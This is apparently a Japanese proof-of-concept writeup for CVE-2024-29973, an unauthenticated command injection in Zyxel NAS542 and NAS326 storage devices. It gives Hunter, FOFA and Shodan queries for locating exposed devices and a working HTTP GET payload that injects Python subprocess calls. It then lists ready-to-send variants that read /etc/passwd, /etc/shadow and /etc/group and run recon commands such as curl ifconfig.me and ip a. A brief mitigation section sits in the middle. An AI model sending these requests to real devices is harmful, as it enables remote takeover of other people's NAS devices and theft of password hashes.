
CVE-2024-29973の概念実証エクスプロイト。Zyxel NASデバイスにおけるリモートコマンドインジェクションであり、細工したHTTPリクエストを介した任意のコマンド実行を実証します。
CVE-2024-29973 は、特定の Zyxel ネットワークデバイスに見られる重大な脆弱性です。この脆弱性により、認証されていない攻撃者がファームウェアの不適切な入力検証メカニズムを悪用して、対象デバイス上で任意のコマンドを実行できる可能性があります。攻撃者は特別に細工した HTTP リクエストをデバイスに送信し、システムレベルのコマンドを注入して、デバイスの完全な制御を獲得する可能性があります。
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
コマンドインジェクション: この脆弱性は、デバイスの Web インターフェースの 1 つにおける入力サニタイズの不備に起因します。この欠陥により、攻撃者は HTTP リクエストのパラメータ内にオペレーティングシステムのコマンドを追加することができます。
エクスプロイト例: 攻撃者は、以下のような HTTP GET リクエストを通じてコマンドを注入し、任意のコードを実行できます:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
影響: エクスプロイトが成功すると、システムコマンドを実行できるようになり、デバイスのリモート制御、データ漏洩、またはネットワークのさらなる侵害につながる可能性があります。
この脆弱性に関連するリスクを軽減するには、次の手順に従ってください:
ファームウェアの更新: すべての Zyxel デバイスが最新のファームウェアバージョンに更新されていることを確認してください。Zyxel はこの脆弱性に対処するパッチをリリースしています。更新を定期的に確認し、迅速に適用してください。
ネットワークのセグメンテーション: 脆弱なデバイスを重要なネットワークインフラストラクチャから分離してください。必要なサービスのみを公開し、管理インターフェースが公開アクセスできないようにしてください。
ファイアウォールの設定: 送受信トラフィックを必須サービスのみに制限してください。Zyxel デバイスへの不要な HTTP アクセスをブロックしてください。
不審なアクティビティの監視: 繰り返しのログイン試行や異常なトラフィックパターンなど、異常な動作を検出して警告できるログ記録および監視ツールを実装してください。
参考文献 National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1